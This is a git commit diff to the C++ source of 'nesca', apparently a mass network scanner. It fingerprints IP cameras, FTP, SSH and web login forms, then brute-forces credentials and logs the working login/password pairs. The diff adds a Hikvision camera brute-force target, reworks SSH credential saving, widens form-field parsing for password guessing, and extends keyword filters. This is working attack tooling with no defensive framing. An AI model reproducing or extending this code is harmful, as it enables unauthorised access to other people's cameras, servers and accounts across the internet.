#3_22676-859

This commit is contained in:
cora32 2014-09-19 22:27:28 +03:00
parent 71d0a8d166
commit 3d4f51f19c
14 changed files with 961 additions and 930 deletions

View File

@ -1,5 +1,4 @@
#include "ActivityDrawerTh_HorNet.h"
#include "STh.h"
void ActivityDrawerTh_HorNet::doEmitDrawActivityLine(QString data)
{

View File

@ -2,7 +2,7 @@
#define ACTIVITYDRAWERTH_HORNET_H
#pragma once
#include "nesca_3.h"
#include "STh.h"
class ActivityDrawerTh_HorNet : public QThread
{

View File

@ -2,8 +2,7 @@
#define CHECKKEY_TH_H
#pragma once
#include "nesca_3.h"
#include "resource.h"
#include "STh.h"
extern int emitIfOK;
class CheckKey_Th : public QThread
{

View File

@ -1,5 +1,4 @@
#include "DrawerTh_GridQoSScanner.h"
#include "STh.h"
void DrawerTh_GridQoSScanner::doEmitAddLine()
{

View File

@ -2,8 +2,7 @@
#define DRAWERTH_GRIDQOSSCANNER_H
#pragma once
#include "nesca_3.h"
#include "resource.h"
#include "STh.h"
class DrawerTh_GridQoSScanner : public QThread
{

View File

@ -2,8 +2,7 @@
#define DRAWERTH_ME2SCANNER_H
#pragma once
#include "nesca_3.h"
#include "resource.h"
#include "STh.h"
class DrawerTh_ME2Scanner : public QThread
{

File diff suppressed because it is too large Load Diff

View File

@ -28,7 +28,6 @@ char *_findFirstOcc(char *str, char *delim)
};
};
//return str;
return NULL;
};
char *FindLastOcc(char *str, char *delim)
@ -170,18 +169,13 @@ int Lexems::globalSearchNeg(const char *buffcpy, char *ip, int port)
{
if(strlen(buffcpy) == 0) return -1;
// char buffcpy[RECV_MAX_LENGTH] = {0};
//std::string rr = toLowerStr(xcode(buffcp, CP_UTF8, CP_ACP).c_str());
//memcpy((void*)buffcpy, rr.c_str(), rr.size());
char negWord[256] = {0};
for(int i = 0; i < GlobalNegativeSize; i++)
{
if(globalScanFlag)
{
strcpy(negWord, GlobalNegatives[i]);
if(strstr(buffcpy, negWord) != NULL && (strcmp(negWord, "") != 0 || strlen(negWord) >= 2))
if(strstr(buffcpy, negWord) != NULL)
{
if(gNegDebugMode)
{
@ -237,7 +231,9 @@ int _mainFinderFirst(char *buffcpy, int f, int port, char *ip)
if((strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL )
|| strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL)
)
&& strstr(buffcpy, "digest realm") != NULL) return 101;
&& strstr(buffcpy, "digest realm") != NULL
&& strstr(buffcpy, "basic realm") == NULL
) return 101;
if(strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL )
|| strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL)
) return 1;
@ -265,9 +261,8 @@ int _mainFinderFirst(char *buffcpy, int f, int port, char *ip)
if(strstr(buffcpy, "ip camera") != NULL && strstr(buffcpy, "check_user.cgi") != NULL) return 31; //ip cams
if(strstr(buffcpy, "ws(\"user\");") != NULL && strstr(buffcpy, "src=\"/tool.js") != NULL && strstr(buffcpy, "<b class=\"xb1\"></b>") != NULL) return 32; //IPC web ip cam
if(strstr(buffcpy, "geovision") != NULL && (strstr(buffcpy, "ip camera") != NULL || strstr(buffcpy, "ssi.cgi/login.htm") != NULL)) return 33; //GEO web ip cam
if(strstr(buffcpy, "hikvision-webs") != NULL || (strstr(buffcpy, "hikvision digital") != NULL && strstr(buffcpy, "dvrdvs-webs") != NULL)
|| (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam
if(strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL) return 35; //EasyCam
if((strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL)
|| strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL) return 35; //EasyCam
if(strstr(buffcpy, "/config/cam_portal.cgi") != NULL || strstr(buffcpy, "/config/easy_index.cgi") != NULL) return 36; //Panasonic Cam
if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/view/getuid.cgi") != NULL) return 37; //Panasonic Cam WJ-HD180
if(strstr(buffcpy, "ipcam client") != NULL && strstr(buffcpy, "plugins.xpi") != NULL && strstr(buffcpy, "js/upfile.js") != NULL) return 38; //Foscam
@ -276,6 +271,12 @@ int _mainFinderFirst(char *buffcpy, int f, int port, char *ip)
if(strstr(buffcpy, "sq-webcam") != NULL && strstr(buffcpy, "liveview.html") != NULL) return 41; //AVIOSYS-camera
if(strstr(buffcpy, "nw_camera") != NULL && strstr(buffcpy, "/cgi-bin/getuid") != NULL) return 42; //NW_camera
if(strstr(buffcpy, "micros") != NULL && strstr(buffcpy, "/gui/gui_outer_frame.shtml") != NULL) return 43; //NW_camera
if(strstr(buffcpy, "lapassword") != NULL
&& strstr(buffcpy, "lausername") != NULL
&& strstr(buffcpy, "g_ologin.dologin()") != NULL
) return 44; //hikvision cam 2
if(strstr(buffcpy, "hikvision-webs") != NULL || (strstr(buffcpy, "hikvision digital") != NULL && strstr(buffcpy, "dvrdvs-webs") != NULL)
|| (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam
if(((strstr(buffcpy, "220") != NULL) && (port == 21)) ||
(strstri(buffcpy, "220 diskStation ftp server ready") != NULL) ||
@ -304,7 +305,9 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip)
if((strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL )
|| strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL)
)
&& strstr(buffcpy, "digest realm") != NULL) return 101;
&& strstr(buffcpy, "digest realm") != NULL
&& strstr(buffcpy, "basic realm") == NULL
) return 101;
if(strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL )
|| strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL)
) return 1;
@ -332,9 +335,8 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip)
if(strstr(buffcpy, "ip camera") != NULL && strstr(buffcpy, "check_user.cgi") != NULL) return 31; //axis cameras
if(strstr(buffcpy, "ws(\"user\");") != NULL && strstr(buffcpy, "src=\"/tool.js") != NULL && strstr(buffcpy, "<b class=\"xb1\"></b>") != NULL) return 32; //web ip cam
if(strstr(buffcpy, "geovision") != NULL && (strstr(buffcpy, "ip camera") != NULL || strstr(buffcpy, "ssi.cgi/login.htm") != NULL)) return 33; //GEO web ip cam
if(strstr(buffcpy, "hikvision-webs") != NULL || (strstr(buffcpy, "hikvision digital") != NULL && strstr(buffcpy, "dvrdvs-webs") != NULL)
|| (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam
if(strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL) return 35; //EasyCam
if((strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL)
|| strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL) return 35; //EasyCam
if(strstr(buffcpy, "/config/cam_portal.cgi") != NULL || strstr(buffcpy, "/config/easy_index.cgi") != NULL) return 36; //Panasonic Cam
if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/view/getuid.cgi") != NULL) return 37; //Panasonic Cam WJ-HD180
if(strstr(buffcpy, "ipcam client") != NULL && strstr(buffcpy, "plugins.xpi") != NULL && strstr(buffcpy, "js/upfile.js") != NULL) return 38; //Foscam
@ -343,6 +345,12 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip)
if(strstr(buffcpy, "sq-webcam") != NULL && strstr(buffcpy, "liveview.html") != NULL) return 41; //AVIOSYS-camera
if(strstr(buffcpy, "nw_camera") != NULL && strstr(buffcpy, "/cgi-bin/getuid") != NULL) return 42; //NW_camera
if(strstr(buffcpy, "micros") != NULL && strstr(buffcpy, "/gui/gui_outer_frame.shtml") != NULL) return 43; //NW_camera
if(strstr(buffcpy, "lapassword") != NULL
&& strstr(buffcpy, "lausername") != NULL
&& strstr(buffcpy, "g_ologin.dologin()") != NULL
) return 44; //hikvision cam 2
if(strstr(buffcpy, "hikvision-webs") != NULL || (strstr(buffcpy, "hikvision digital") != NULL && strstr(buffcpy, "dvrdvs-webs") != NULL)
|| (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam
if(((strstr(buffcpy, "220") != NULL) && (port == 21)) ||
(strstr(buffcpy, "220 diskStation ftp server ready") != NULL) ||
@ -979,7 +987,7 @@ void _getFormVal(char *data, char *result, char *key, char *path = NULL)
static const std::string arrUser[] = {"user", "usr", "username", "login", "lgn", "account", "acc", "param1", "param3", "id", "A1", "uname", "mail", "name"};
vector<std::string> vecUser (arrUser, arrUser + sizeof(arrUser) / sizeof(arrUser[0]) );
static const std::string arrPass[] = {"pass", "pw", "password", "code", "param2", "param4", "secret", "login_p", "A2", "admin_pw", "pws"};
static const std::string arrPass[] = {"pass", "pw", "password", "code", "param2", "param4", "secret", "login_p", "A2", "admin_pw", "pws", "secretkey"};
vector<std::string> vecPass (arrPass, arrPass + sizeof(arrPass) / sizeof(arrPass[0]) );
char *_getAttribute(char *str, char *attrib)
@ -1006,19 +1014,19 @@ char *_getAttribute(char *str, char *attrib)
void _getInputVal(std::vector<std::string> inputVec, char *buff, char *key)
{
char *pos = NULL;
char field[128] = {0};
char field[256] = {0};
if(strcmp(key, "USER") == 0)
{
for(int i = 0; i < inputVec.size(); ++i)
{
ZeroMemory(field, 128);
ZeroMemory(field, 256);
_getFormVal((char*)inputVec[i].data(), field, "name=");
for(int j = 0; j < vecUser.size(); ++j)
{
pos = strstri(field, vecUser[j].data());
if(pos != NULL)
{
strncpy(buff, field, 128);
strncpy(buff, field, 256);
return;
};
};
@ -1028,14 +1036,14 @@ void _getInputVal(std::vector<std::string> inputVec, char *buff, char *key)
{
for(int i = 0; i < inputVec.size(); ++i)
{
ZeroMemory(field, 128);
ZeroMemory(field, 256);
_getFormVal((char*)inputVec[i].data(), field, "name=");
for(int j = 0; j < vecPass.size(); ++j)
{
pos = strstri(field, vecPass[j].data());
if(pos != NULL)
{
strncpy(buff, field, 128);
strncpy(buff, field, 256);
return;
};
};
@ -1103,14 +1111,15 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path
char *inptPtr1 = strstri(frmBlock, "<input ");
int insz = 0;
char *inptPtrEnd = NULL;
char tempInptStr[128] = {0};
char tempInptStr[256] = {0};
while(inptPtr1 != NULL)
{
inptPtrEnd = strstr(inptPtr1, ">");
if(inptPtrEnd != NULL)
{
ZeroMemory(tempInptStr, 256);
insz = inptPtrEnd - inptPtr1 + 1;
strncpy(tempInptStr, inptPtr1, (insz < 128 ? insz : 128));
strncpy(tempInptStr, inptPtr1, (insz < 256 ? insz : 256));
inputVec.push_back(std::string(tempInptStr));
inptPtr1 = strstri(inptPtrEnd, "<input ");
}
@ -1124,9 +1133,9 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path
}
else
{
stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: No text/password fields found.");
fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, "NULL", "NULL", comment, cp, tclass);
putInFile(flag, ip, tport, recd, title, hl, cp);
if(gNegDebugMode) stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: No text/password fields found.");
///fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, "NULL", "NULL", comment, cp, tclass);
///putInFile(flag, ip, tport, recd, title, hl, cp);
};
}
else
@ -1206,9 +1215,9 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path
}
else
{
stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: Cannot find user/pass field.");
fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, "", "", "UnknownWebform", cp, tclass);
putInFile(flag, ip, tport, recd, title, hl, cp);
if(gNegDebugMode) stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: Cannot find user/pass field.");
///fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, "", "", "UnknownWebform", cp, tclass);
///putInFile(flag, ip, tport, recd, title, hl, cp);
};
};
OnLiner = 0;
@ -1257,7 +1266,7 @@ void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int
fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization");
};
ZeroMemory(temp, strlen(temp));
ZeroMemory(temp, sizeof(temp));
};
const char *GetTitle(char* str)
{
@ -1373,52 +1382,82 @@ const char *GetTitle(char* str)
return finalstr;
};
int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *hl)
void _saveSSH(char *ip, int port, int recd, char *buffcpy)
{
char b[16] = {0};
if( strstr(buffcpy, "[IGNR_ADDR]") != NULL ) return -1;
if(p == 22)
if(buffcpy != NULL)
{
flag = -22;
char b[16] = {0};
char log[2048] = {0};
char logEmit[2048] = {0};
char goodStr[256] = {0};
char banner[256] = {0};
char *ptr1 = strstr(buffcpy, "|+|");
int gsz = ptr1 - buffcpy;
strncpy(goodStr, buffcpy, gsz);
if(strlen(ptr1 + 3) > 0) strcpy(banner, ptr1 + 3);
strcpy(logEmit, "[SSH] ");
strcpy(log, "[SSH] <font color=\"#00a8ff\">");
strcat(log, goodStr);
strcat(log, "</font>");
strcat(log, "<font color=\"#323232\">; Banner:</font> <font color=\"#9cff00\">");
strcat(log, banner);
strcat(log, "</font>");
if(ptr1 != NULL)
{
int gsz = ptr1 - buffcpy;
strncpy(goodStr, buffcpy, gsz);
if(strlen(ptr1 + 3) > 0) strcpy(banner, ptr1 + 3);
strcpy(logEmit, "[SSH] ");
strcpy(log, "[SSH] <font color=\"#00a8ff\">");
strcat(log, goodStr);
strcat(log, ":");
strcat(log, itoa(port, b, 10));
strcat(log, "</font>");
strcat(log, "<font color=\"#323232\">; Banner:</font> <font color=\"#9cff00\">");
strcat(log, banner);
strcat(log, "</font>");
++PieSSH;
++PieSSH;
strcat(logEmit, "<span style=\"color: #00a8ff;\">");
strcat(logEmit, goodStr);
strcat(logEmit, ":");
strcat(logEmit, itoa(port, b, 10));
strcat(logEmit, "</span>");
strcat(logEmit, "<span style=\"color: #00a8ff;\">");
strcat(logEmit, goodStr);
strcat(logEmit, "</span>");
fputsf (ip, itoa(port, b, 10), log, -22, "SSH");
char loginSSH[128] = {0};
char passSSH[128] = {0};
char *ptrl1 = strstr(buffcpy, ":");
int lpsz = ptrl1 - buffcpy;
strncpy(loginSSH, buffcpy, lpsz);
char *ptrl2 = strstr(buffcpy, "@");
lpsz = ptrl2 - ptrl1;
strncpy(passSSH, ptrl1 + 1, lpsz);
fillGlobalLogData(ip, "", itoa(port, b, 10), std::to_string((long double)recd).c_str(), "[SSH service]", loginSSH, passSSH, "NULL", "UTF-8", "SSH");
stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit));
}
else
{
stt->doEmitionRedFoundData("[_saveSSH] Wrong format! [" + QString(ip) + ":" + QString::number(port) + "]");
};
}
else
{
stt->doEmitionRedFoundData("[_saveSSH] Empty buffer! [" + QString(ip) + ":" + QString::number(port) + "]");
};
};
int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *hl)
{
char b[16] = {0};
fputsf (ip, itoa(p, b, 10), log, flag, "SSH");
if( strstr(buffcpy, "[IGNR_ADDR]") != NULL ) return -1;
if( strstr(buffcpy, "SSH-2.0-OpenSSH") != NULL )
{
conSTR CSTR;
CSTR.lowerBuff = NULL;
CSTR.size = 0;
int res = _SSHLobby(ip, p, &CSTR);
if(res != -1 && res != -2)
{
_saveSSH(ip, p, recd, CSTR.lowerBuff);
};
return -1;
};
char loginSSH[128] = {0};
char passSSH[128] = {0};
char *ptrl1 = strstr(buffcpy, ":");
int lpsz = ptrl1 - buffcpy;
strncpy(loginSSH, buffcpy, lpsz);
char *ptrl2 = strstr(buffcpy, "@");
lpsz = ptrl2 - ptrl1;
strncpy(passSSH, ptrl1 + 1, lpsz);
fillGlobalLogData(ip, hl, itoa(p, b, 10), std::to_string((long double)recd).c_str(), "[SSH service]", loginSSH, passSSH, "NULL", "UTF-8", "SSH");
#pragma region QTGUI_Area
stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit));
#pragma endregion
if(p == 22)
{
_saveSSH(ip, p, recd, buffcpy);
return -1;
};
@ -1433,7 +1472,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
ZeroMemory(ps.headr, sizeof(ps.headr));
ZeroMemory(ps.path, sizeof(ps.path));
char finalstr[TITLE_MAX_LENGTH] = {0};
char finalstr[TITLE_MAX_SIZE] = {0};
char port[32] = {0};
int flag = 0;
char cp[32] = {0};
@ -1451,7 +1490,6 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
std::vector<std::string> redirStrLst;
char rBuff[65536] = {0};
strncpy(rBuff, buffcpy, 65535);
char cookie[1024] = {0};
if(flag == 0 || flag == 3 || flag == 7 )
{
int rh = _header(ip, p, buffcpy, lx, &ps, &redirStrLst, rBuff);
@ -1462,11 +1500,14 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
strcat(finalstr, ps.headr);
p = ps.port;
strcpy(ip, ps.ip);
strcpy(cookie, ps.cookie);
};
int sz = strlen(ps.path);
strncpy(pps, ps.path, (sz < 256 ? sz : 256));
}
else
{
if(strstr(buffcpy, "Set-Cookie:") != NULL) strncpy(ps.cookie, _getAttribute(buffcpy, "Set-Cookie:"), COOKIE_MAX_SIZE);
};
strcpy(port, itoa(p, b, 10));
@ -1475,9 +1516,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
if(flag == -1 || flag == 6 || strstr(finalstr, "[IGNR_ADDR]") != NULL) return -1;
fillerFlag = 1;
#pragma region Fillers
if(flag == 16)
{
Connector con;
@ -1577,8 +1616,6 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
fputsf(ip, port, log, flag, "FTP");
fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), "[FTP service]", lps.login, lps.pass, "NULL", cp, "FTP");
#pragma region QTGUI_Area
stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit));
#pragma endregion
@ -1685,6 +1722,10 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
{
_specBrute(ps.cookie, ip, p, hl, "[Micros] IP Camera", flag, "/gui/rem_display.shtml", "[Micros] IP Camera", "Basic Authorization", cp, recd, "");
}
else if(flag == 44) //Hikvision ip cam 2
{
_specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera", flag, "/ISAPI/Security/userCheck", "[Hikvision] IP Camera", "Basic Authorization", cp, recd, "");
}
else if(flag == 20) //AXIS Camera
{
_specBrute(ps.cookie, ip, p, hl, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "AXIS Camera", "Basic Authorization", cp, recd, "");
@ -1746,7 +1787,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, lps.login, lps.pass, "HFS-FTP", cp, "Basic Authorization");
fputsf (ip, port, log , flag, "HFS");
stt->doEmitionFoundData(QString::fromLocal8Bit(log));
ZeroMemory(temp, strlen(temp));
ZeroMemory(temp, sizeof(temp));
}
else if(flag == 1)
{
@ -1797,7 +1838,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
if(strstri(str, "https://") != NULL)
{
tempPort = 443;
char *ptr1 = strstri(str, "https://");
char *ptr2 = _findFirstOcc(str + 8, ":/");
if(ptr2 != NULL)
@ -2288,6 +2328,26 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int
else strncpy(dataBuff, ptrQuote1 + 1, lsz);
};
};
}
else
{
ptrQuote1 = strstr(ptr2, "=");
if(ptrQuote1 != NULL)
{
char *ptrQuote2 = _findFirstOcc(ptr2, ";\n");
if(ptrQuote2 != NULL)
{
int sz = ptrQuote2 - ptr2 - 1;
char link1[512] = {0};
strncpy(link1, ptr2 + 1, sz);
char *ptrQuote3 = strstr(link1, "/");
if(ptrQuote3 != NULL)
{
char link[512] = {0};
strcpy(dataBuff, ptrQuote3);
};
};
};
};
};
}
@ -2321,7 +2381,7 @@ void _getJSCookie(char *dataBuff, char *str, char *ip, int port)
int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std::vector<std::string> *redirStrLst, char *rBuff)
{
std::string redirectStr = "";
if(strstr(str, "Set-Cookie:") != NULL) strncpy(ps->cookie, _getAttribute(str, "Set-Cookie:"), 1024);
if(strstr(str, "Set-Cookie:") != NULL) strncpy(ps->cookie, _getAttribute(str, "Set-Cookie:"), COOKIE_MAX_SIZE);
#pragma region Prechecks
if(strstr(str, "[IGNR_ADDR]") != NULL)
@ -2387,6 +2447,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
#pragma region 302 Redirects
if( strstri(str, "http/1.0 301") != NULL || strstri(str, "http/1.1 301") != NULL
|| strstri(str, "http/1.0 302") != NULL || strstri(str, "http/1.1 302") != NULL
|| strstri(str, "http/1.0 307") != NULL || strstri(str, "http/1.1 307") != NULL
|| strstri(str, "303 see other") != NULL
)
{
@ -2545,7 +2606,6 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
memset(scriptContainer + sz, '\0', 1);
if(strstri(scriptContainer, "location.href") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location.href", ip, port);
else if(strstri(scriptContainer, "window.location") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "window.location", ip, port);
else if(strstri(scriptContainer, "location.replace") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location.replace", ip, port);
else if(strstri(scriptContainer, "location.reload") != NULL) strcpy(linkPtr, "/");
else if(strstri(scriptContainer, "location") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location", ip, port);
@ -2560,7 +2620,11 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
};
};
delete []scriptContainer;
if(ps->flag == 1) return -2;
if(ps->flag >= 17 || ps->flag == 11 || ps->flag == 12
|| ps->flag == 13 || ps->flag == 14 || ps->flag == 1
|| ps->flag == 10
)
return -2;
}
else
{
@ -2571,6 +2635,46 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
ptr1 = strstri(ptr2, "<script");
}
while(ptr1 != NULL);
}
else if(strstri(str, " onload") != NULL)
{
char *ptr1 = strstri(str, " onload");
char *ptr2 = strstr(ptr1, ">");
if(ptr2 != NULL)
{
int sz = ptr2 - ptr1;
if(sz < 512)
{
char linkPtr[512] = {0};
ZeroMemory(linkPtr, 512);
strncpy(linkPtr, ptr1, sz);
char *scriptContainer = new char[sz + 1];
ZeroMemory(scriptContainer, sz + 1);
strncpy(scriptContainer, ptr1, sz);
memset(scriptContainer + sz, '\0', 1);
if(strstri(scriptContainer, "location.href") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location.href", ip, port);
else if(strstri(scriptContainer, "location.replace") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location.replace", ip, port);
else if(strstri(scriptContainer, "location.reload") != NULL) strcpy(linkPtr, "/");
else if(strstri(scriptContainer, "location") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location", ip, port);
if(strlen(linkPtr) != 0)
{
redirectStr = std::string(linkPtr);
if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end())
{
redirStrLst->push_back(redirectStr);
redirectReconnect(ps->cookie, ip, port, linkPtr, l, ps, redirStrLst, rBuff);
};
};
delete []scriptContainer;
if(ps->flag >= 17 || ps->flag == 11 || ps->flag == 12
|| ps->flag == 13 || ps->flag == 14 || ps->flag == 1
|| ps->flag == 10
)
return -2;
};
};
};
#pragma endregion

View File

@ -3,6 +3,11 @@ liveinternet
#[Dlink]
session_login.php?reload=1
atwiki
studio
McMyAdmin
Aviso de Bloqueio
Servico nao disponivel
Content-Encoding: gzip
no connections allowed
pocket-solution
trustclick
@ -17,9 +22,14 @@ service unavailable
is still available
php framework
BlueBean
Herzlich
Web-Based Configurator
Willkommen!
403 forbidden
404 not found
document not found
504 gateway timeout
Defaultpage
500 internal server error
500 - internal server error
502 bad gateway
@ -37,11 +47,11 @@ failed to open stream
500 OOPS
Comming Soon
is sample html
google_ad_client
/js/thickbox.js
google_ad_slot
plone
openmail
You don't have permission
institute
google-analytics.com
googlesyndication
@ -57,15 +67,9 @@ MELOOK
/cart/view
/catalog/search.php
/cgi-bin/welcome.cgi
/citrix/
/citrixaccess
/contact
/welcome/
application/x-shockwave-flash
/contactus
/contact-us
/customer
/client
/esi.cgi?page=status-index.xml
/guarantee
/html/index.asp
@ -84,8 +88,7 @@ application/x-shockwave-flash
/servlet/wap/login
site introuvable
shop
/buy
/sell
sell
/company
/brand
/signin
@ -128,7 +131,6 @@ access the sharecenter
actiontec_bottom
adsense
afrekenen
agent web client
ahcom tecnologia
alfresco
app service
@ -136,8 +138,7 @@ apache_pb.gif
airties
aktualizacji
amicaweb
Alan Adı Al
Alan Adı Sat
Alan Adı
and supervision tool
annex b
apache http server test
@ -167,8 +168,7 @@ blog/about/
blog/comments/
bubba|2
buffalo inc
buy or sell
buy ticket
buy
cable modem
cafe
call us
@ -189,8 +189,7 @@ cheditor
chiliproject
check availability
citrix/xenapp
cliente
clientes
client
cloud
cmside.htm
company.
@ -202,29 +201,12 @@ configuration file does not
confixx
construcci
consulta
contact info
contact our webmaster
contact support
contact to us
contact us
contact webmaster
contact.
contact_us.
contactanos
contactar
contact-info
contacto
contacts.
contact-us
contactus.
contate
contac
come back later
contato
contatt
contat
control de inventarios
control de solicitudes
controles de acceso
cookiechecker
currently unavailable
cooking
coltd
@ -241,8 +223,11 @@ currently unreachable
cs3 dreamweaver
FrontPage
TESTPAGE
Too many connections
BB-HGW
OS X Lion
Inspire DVR
DVR Components Download
Homepage Builder
dashboard.css
dating
@ -273,7 +258,7 @@ domain has been registered
domain name registration
domain registered
domainapps.com
domains for sale
sale
domeny
domeingeregistreerd
down for maint
@ -286,7 +271,6 @@ dsnextgen.com
dsparking.com
DATA LAN DISK
TEST SITE
dxclient
eap web interface
echolife
ediciones tierrazul
@ -316,7 +300,6 @@ Fireworks MX
fast35xx
facebook
football
for sale
forex
forgot password
free delivery
@ -351,7 +334,6 @@ help desk
hotspot login
htmlanvview:
icecast2
ids_web_login
ie-plugin
iis7
iis8
@ -365,7 +347,6 @@ information services 8
ingrese usuario
inicio
initservicecookie
initwebclient
inloggen
insurance
intelligent digital security system
@ -467,7 +448,6 @@ oma domain
on varattu
opening soon
openwebmail
page=contact
page=about
pagerrorimg
pagos
@ -495,7 +475,6 @@ por internet
portada
portal de
postinfo.html
pre-sale
price
prikol
privacy policies
@ -541,7 +520,6 @@ roundcube
s.r.l.
sakura internet
sabnzbd
sale only
samsung digital
sapphire journal
sbuilder.ru
@ -554,10 +532,8 @@ secure login page
securepaynet
sedoparking.com
selectkind.html
seller
server application error
server default page
service client
servicio
shared ip
sign in now
@ -663,7 +639,6 @@ try again later
tutorial
twitter
Tlf.
Web Client Pro
mailto:
WJND300
Home Page
@ -694,20 +669,17 @@ varaa itsellesi
w@de
wade
web applications
web client for edvs
web console
web device manager
web frontend
web hosting
web remote access
web remote client
web server setup guide
web site creator
webage unavailable
website does not exist
web-based configurator
webcamx
webclient.js
webconfig
webcontrol
webguard login

View File

@ -110,6 +110,7 @@ QGraphicsScene *sceneActivityGrid;
QGraphicsScene *sceneTextPlacer;
QGraphicsScene *sceneVoice;
QGraphicsScene *pbScene;
QGraphicsScene *jobRangeVisualScene;
QString importFileName = "";
@ -194,6 +195,7 @@ void setSceneArea()
sceneTextPlacer = new QGraphicsScene();
sceneVoice = new QGraphicsScene();
